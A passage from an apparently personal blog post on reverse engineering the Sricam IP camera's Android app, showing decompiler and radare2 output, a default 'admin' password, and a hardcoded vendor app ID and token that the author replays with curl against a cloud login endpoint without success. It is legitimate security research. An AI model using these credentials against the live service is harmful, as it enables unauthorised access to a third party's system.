class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ JAVA_OPTS</span><span class="o">=</span><span class="s2">"-Xmx1300M"</span> ../tools/jadx/bin/jadx <span class="nt">-j</span> 1 Sricam_17.7.17_apk-dl.com.apk </code></pre></div></div> <p>But there are a lot of errors on execution of JADX. Although I started in examining the decompiled files. At first glance I will search for JNI (Java Native Interfaces) that could reveal linkings to the library files:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ~/doku/Sricam_17.7.17_apk-dl.com</span> <span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-rli</span> jni <span class="nb">.</span> ./com/mediatek/elian/ElianNative.java ./com/baidu/android/pushservice/g.java ./com/baidu/android/pushservice/message/g.java ./com/baidu/android/pushservice/c/e.java ./com/baidu/android/pushservice/c/j.java ./com/baidu/android/pushservice/c/b.java ./com/baidu/android/pushservice/util/c.java ./com/baidu/android/pushservice/util/s.java ./com/baidu/android/pushservice/j/d.java ./com/baidu/android/pushservice/jni/PushSocket.java ./com/baidu/android/pushservice/jni/BaiduAppSSOJni.java ./com/baidu/android/pushservice/g/d.java ./com/baidu/android/pushservice/f.java ./com/baidu/android/pushservice/config/b.java ./com/xapcamera/SetWifiActivity3.java ./com/tencent/connect/auth/AuthDialog.java ./com/tencent/stat/StatNativeCrashReport.java ./com/tencent/open/web/security/SecureJsInterface.java ./com/tencent/open/web/security/JniInterface.java ./ilnk/lib/IlnkApi.java </code></pre></div></div> <p>We can see on first position ElianNative.java the load of libraries for the wifi chip.</p> <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">LoadLib</span><span class="o">()</span> <span class="o">{</span> <span class="k">try</span> <span class="o">{</span> <span class="nc">System</span><span class="o">.</span><span class="na">loadLibrary</span><span class="o">(</span><span class="s">"elianjni"</span><span class="o">);</span> </code></pre></div></div> <p>We will look into the paired library file in the unzipping part of the APK. Searching for other interesting strings:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># ~/doku/Sricam_17.7.17_apk-dl.com</span> <span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-rli</span> aes <span class="nb">.</span> ./cn/jiguang/api/BasePreferenceManager.java ./cn/jiguang/api/JCoreInterface.java ./com/sina/weibo/sdk/cmd/WbAppActivator.java ./com/sina/weibo/sdk/utils/AesEncrypt.java ./com/baidu/android/pushservice/message/g.java ./com/baidu/android/pushservice/config/b.java ... ./com/baidu/android/pushservice/c/b.java <span class="c"># ~/doku/Sricam_17.7.17_apk-dl.com/cn/jiguang</span> <span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-rli</span> encrypt <span class="nb">.</span> ./res/layout/activity_modify_npc_bound_email.xml ./res/layout-v11/activity_modify_npc_bound_email.xml ./cn/jiguang/api/BasePreferenceManager.java ./cn/jiguang/c/a/a.java ./cn/jiguang/a/a/b/h.java ./com/google/zxing/client/result/WifiParsedResult.java ./com/xapcamera/entity/Email.java ./com/xapcamera/p2p/SettingListener.java ./com/xapcamera/device/settings/AlarmSetActivity.java ./com/xapcamera/device/settings/ModifyBoundEmailActivity.java ./com/xapcamera/R.java ./com/p2p/core/MediaPlayer.java ./com/p2p/core/P2PHandler.java ./com/p2p/core/utils/DES.java ... ./com/tencent/open/utils/SystemUtils.java </code></pre></div></div> <p>BasePreferenceManager.java seems to be interesting. Looking into the sourcecode reveals nothing good:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>public abstract class BasePreferenceManager { private static final String AES_ENCRYPTION_SEED; private static final String JPUSH_PREF; private static SharedPreferences mSharedPreferences; private static final String[] z; /* JADX: method processing error */ /* Error: java.lang.StackOverflowError ... </code></pre></div></div> <p>Checking this with multiple other decompilers lead to the same result. (See in Bytecode Viewer) This file as many others have shortly after beginning some decompiler errors. Some sort of decompiling protection, I guess. I don’t know enough about Android Reversing, so I can’t interprete this the right way at the moment and research doesn’t bring fruity results about this.</p> <p>Another interesting file points to a default user on a p2p server:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ vim lnkConstant.java public static final String P2P_PARAM_DEFAULT_DEVICE_ID = "XXX-000000-XXXXX"; public static final String P2P_PARAM_DEFAULT_DEVICE_NAME = "Node161205"; public static final String P2P_PARAM_DEFAULT_PWD = "admin"; public static final String P2P_PARAM_DEFAULT_SERVER = "EKPNHXIDAUAOEHLOTBSQEJSWPAARTAPKLXPGENLKLUPLHUATSVEESTPFHWIHPDIEHYAOLVEISQLNEGLPPALQHXERELIALKEHEOHZHUEKIFEEEPEJ-$$"; </code></pre></div></div> <p>I suspected a encrypted domain name in the default_server but I wasn’t able to decrypt it.</p> <p>It’s possible to checkout the upgrade mechanism for the apk on the upg1 server. But redo all requests from a desktop browser by simply appending the clear strings like “/latestversion.asp” results in 404.</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ vim ./com/p2p/core/update/UpdateManager.java ... private static final String UPDATE_URL = "http://upg1.videoipcamera.cn/"; ... public boolean checkUpdate() { ... StringBuilder(UPDATE_URL).append(version_parse[0]).append(HttpUtils.PATHS_SEPARATOR).append(version_parse[1]).append("/latestversion.asp").toString(); ... public String getUpdateDescription() { ... HttpURLConnection connection = (HttpURLConnection) new URL(new StringBuilder(UPDATE_URL).append(version_parse[0]).append(HttpUtils.PATHS_SEPARATOR).append(version_parse[1]).append("/des_html.asp").toString()).openConnection(); .... public void downloadApk(Handler handler, String filePath, String fileName) { ... HttpURLConnection connection = (HttpURLConnection) new URL("http://upg1.videoipcamera.cn//" + version_parse[0] + HttpUtils.PATHS_SEPARATOR + version_parse[1] + HttpUtils.PATHS_SEPARATOR + this.version_server.trim() + ".apk").openConnection(); ... </code></pre></div></div> <p>Another interesting file bit is in WXLoginRequest. It reveals another post request “Users/ThirdLogin.ashx” with ID and Token to http://api1.cloudlinks.cn/Users/ThirdLogin.ashx. Overall it reveals the origin of the smartphone app: https://www.yooseecamera.com/</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>vim ./com/xapcamera/network/WXLoginRequest.java params.add<span class="o">(</span>new BasicNameValuePair<span class="o">(</span><span class="s2">"AppID"</span>, <span class="s2">"d591b466644a0420e5f29aefb0cf0088"</span><span class="o">))</span><span class="p">;</span> params.add<span class="o">(</span>new BasicNameValuePair<span class="o">(</span><span class="s2">"AppToken"</span>, <span class="s2">"2db6962ff0901b8ce771f20f14a651a2786086e55615f951aa0c7c9b33fc5340"</span><span class="o">))</span><span class="p">;</span> params.add<span class="o">(</span>new BasicNameValuePair<span class="o">(</span><span class="s2">"Language"</span>, App.application.getResources<span class="o">()</span>.getConfiguration<span class="o">()</span>.locale.getLanguage<span class="o">()))</span><span class="p">;</span> params.add<span class="o">(</span>new BasicNameValuePair<span class="o">(</span><span class="s2">"AppOS"</span>, Constants.VIA_TO_TYPE_QQ_DISCUSS_GROUP<span class="o">))</span><span class="p">;</span> params.add<span class="o">(</span>new BasicNameValuePair<span class="o">(</span><span class="s2">"AppName"</span>, <span class="s2">"com.yoosee"</span><span class="o">))</span><span class="p">;</span> String[] parseVerson <span class="o">=</span> new String[]<span class="o">{</span><span class="s2">"00"</span>, <span class="s2">"46"</span>, <span class="s2">"00"</span>, Constants.VIA_REPORT_TYPE_WPA_STATE<span class="o">}</span><span class="p">;</span> int c <span class="o">=</span> Integer.parseInt<span class="o">(</span>parseVerson[2]<span class="o">)</span> <span class="o">&lt;&lt;</span> <span class="no">8</span><span class="sh">; params.add(new BasicNameValuePair("AppVersion", String.valueOf((((Integer.parseInt(parseVerson[0]) &lt;&lt; 24) | (Integer.parseInt(parseVerson[1]) &lt;&lt; 16)) | c) | Integer.parseInt(parseVerson[3])))); params.add(new BasicNameValuePair("PackageName", "com.yoosee")); params.add(new BasicNameValuePair("ApiVersion", Constants.VIA_TO_TYPE_QQ_GROUP)); return doPost(params, "Users/ThirdLogin.ashx"); </span></code></pre></div></div> <p>cloudlinks.cn redirects to gwelltimes.cc which seems to provide a SDK for creating P2P enabled devices like our IPCam. This Post Request looks like the login for the cloud API to initialize a P2P session. I tried to do the same with curl with the help of https://github.com/dxsdyhm/GwellDemo and http://doc.cloud-links.net/SDK/iOS/GWP2P/GWP2PDeveloperGuide.html#10101 but I got everytime the same result:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>curl http://api1.cloudlinks.cn/Users/ThirdLogin.ashx <span class="nt">-H</span> <span class="s2">"User-Agent: Mozilla/5.0 (Linux; U; Android 2.2.1; en-us; Nexus One Build/FRG83)"</span> <span class="nt">-d</span> <span class="nv">AppID</span><span class="o">=</span>d591b466644a0420e5f29aefb0cf0088 <span class="nt">-d</span> <span class="nv">AppToken</span><span class="o">=</span>2db6962ff0901b8ce771f20f14a651a2786086e55615f951aa0c7c9b33fc5340 <span class="nt">-d</span> <span class="nv">AppOS</span><span class="o">=</span>Android <span class="nt">-d</span> <span class="nv">AppName</span><span class="o">=</span>com.yoosee <span class="nt">-d</span> <span class="nv">Language</span><span class="o">=</span>eng <span class="nt">-d</span> <span class="nv">PackageName</span><span class="o">=</span>com.yoosee <span class="nt">-d</span> <span class="nv">AppVersion</span><span class="o">=</span>00.23.00.03 <span class="nt">-d</span> <span class="nv">ApiVersion</span><span class="o">=</span>0.1 <span class="o">{</span><span class="s2">"error_code"</span>:<span class="s2">"14"</span>,<span class="s2">"error"</span>:<span class="s2">"参数错误"</span><span class="o">}</span> </code></pre></div></div> <h3 id="42-apktool">4.2 APKTOOL</h3> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>oit@ubuntu&gt; ~/tools/apktool <span class="nv">$ </span>./apktool <span class="nt">-d</span> Sricam_17.7.17_apk-dl.com.apk </code></pre></div></div> <p>APKTool will generate smali files from the APK. Smali is a readable format of the dalvik executable dex file. As JADX isn’t capable of disassembling all files it could be worthwile to look at the smali files. It looks like kind of assembler code. Looking into the smali file of BasePreferenceManager.smali we recognize some constant strings:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.method static constructor &lt;clinit&gt;<span class="o">()</span>V .locals 14 const/16 v9, 0x35 const/16 v10, 0x11 const/4 v8, 0x4 const/4 v12, 0x1 const/4 v1, 0x0 const-string v2, <span class="s2">"W#F</span><span class="se">\u</span><span class="s2">0013titY</span><span class="se">\u</span><span class="s2">0008p</span><span class="sb">`</span><span class="se">\u</span>0016<span class="se">\\\u</span>0005ce<span class="o">(</span>L]+n9Z<span class="se">\u</span>0015t5k<span class="se">\u</span>0004<span class="s2">" </span></code></pre></div></div> <p>But they have no typical length for a IV or a AES key. The strings.xml file could be very useful, as it includes nearly all constant strings, that are used in the Java apk. But doesn’t reveal anything new.</p> <h3 id="43-unzip-the-apk">4.3 Unzip the APK</h3> <p>Simply unzipping the apk will unpack it’s resources for Linking and Compiling and reveals DEX binary and the native ARM libraries. We can use the compiled dalvic executable dex file to convert it to a smali. We can use the dex file to repack it to a jar file. The Bytecode Viewer will do exactly this. For now I will simply examining the shared objects files for interesting functions by using information from previous findings. I will use radare2 to examining the binaries:</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>r2 libelianjni.so <span class="o">[</span>0x00004b90]&gt; afl ... 0x000059a8 12 290 sym.RT_AES_KeyExpansion 0x00005ad8 43 604 sym.RT_AES_Encrypt 0x00005d4c 42 540 sym.RT_AES_Decrypt 0x00005f80 12 230 sym.RT_HMAC_SHA1 0x0000606c 1 42 sym.RT_SHA1_Init 0x0000609c 15 412 sym.RT_SHA1_Hash 0x00006248 6 96 sym.RT_SHA1_Append 0x000062a8 5 174 sym.RT_SHA1_End 0x00006358 3 72 sym.RT_SHA1 ... </code></pre></div></div> <p>Going deeper into this lib file:</p> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[0x0000597c]&gt; s sym.elianStart sym.createV1Packet sym.createV2Packet sym.RT_AES_Encrypt </code></pre></div></div> <p>Examining these functions are strongly related to using or generating AES related keys or Initialization Vectors but I wasn’t able of extracting them.</p> <h3 id="44-bytecode-viewer">4.4 Bytecode Viewer</h3> <p>Bytecode Viewer runs into the same errors as JADX and won’t give new information:</p> <div class="image-container"> <div class="image-wrapper-single"> <a href="https://i.imgur.com/xXLwCwn.png" title="Bytecode Viewer" target="_blank"> <img class="image" src="https://i.imgur.com/xXLwCwn.png" alt="Bytecode Viewer" /> </a> <p class="image-caption">Bytecode Viewer</p> </div> </div> <p>Bytecode Viewer combines multiple different Java decompilers. In the screenshot we can see the output of “JD-Gui”. This is the “Java Decompiler”. This will only work on native .jar files.After unzipping the apk we can find next to the library files a .dex file. We can convert with “dex2jar” the .dex file to a native Java application. Bytecode Viewer uses this mechanism but is running into the same errors.</p> <h2 id="overall-security-issues-for-now">Overall Security Issues (for now)</h2> <ul> <li>overall HTTP connections</li> <li>probably vulnerable gSoap service</li> </ul> <h2 id="conclusion">Conclusion</h2> <p>It was a lot of fun to examine this piece of hardware for vulnerabilties and it’s secrets. I guess, I found a lot interesting stuff but I leave with many possible courses of action that could lead into a serious exploit. This is due to lack of knowledge because it’s my first project to start into embedded security. I will doing research into Android Applications and ARM-Architecture to continue the examination in Part 2. If someone reads this blog and could give hints about going further I would be very grateful.</p>herrfeder